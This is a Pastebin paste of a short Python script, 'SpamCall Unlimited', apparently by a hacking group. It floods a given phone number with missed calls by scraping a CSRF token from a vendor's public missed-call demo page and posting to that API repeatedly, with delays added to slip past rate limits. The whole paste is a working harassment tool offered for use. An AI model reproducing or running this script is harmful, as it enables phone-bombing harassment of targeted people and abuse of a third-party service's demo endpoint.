Advertisement
Xractz

SpamCall Unlimited

Aug 9th, 2019
432
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.91 KB | None | 0 0
  1. #Xractz
  2. #IndoSec
  3.  
  4. import time, re, sys
  5. from requests import Session
  6. s = Session()
  7.  
  8. print("Spam Call by Xractz - IndoSec\nThis tool delays 5 seconds per spam so as not to limit!\nUse Country Code (ex: 62xxxxx29)")
  9. try:
  10.     no = int(input("No    : "))
  11.     jml = int(input("Count : "))
  12.     print()
  13. except:
  14.     print("\n\t* Only Number *")
  15.     sys.exit()
  16.    
  17. url = "https://www.citcall.com/demo/misscallapi.php"
  18.  
  19. tkn = s.get(url).text
  20. token = re.findall(r'id="csrf_token" value="(.*?)">', tkn)[0]
  21.  
  22. headers = {
  23.     'x-requested-with':'XMLHttpRequest'
  24. }
  25. data = {
  26. 'cid':no,
  27. 'trying':'0',
  28. 'csrf_token':token
  29. }
  30.  
  31. n = 0
  32. try:
  33.     while n < jml:
  34.         send = s.post(url, data=data, headers=headers).text
  35.         time.sleep(4.8)
  36.         if 'Success' in send:
  37.             n +=1
  38.             print(f"[{n}] Sended to => {no}")
  39.         else:
  40.             print("\n\t* Limit *")
  41.             print("\n\t* Try one hour ago or try tomorrow *")
  42.             break
  43. except:
  44.     print("\n\t* ERROR *")
  45.     sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement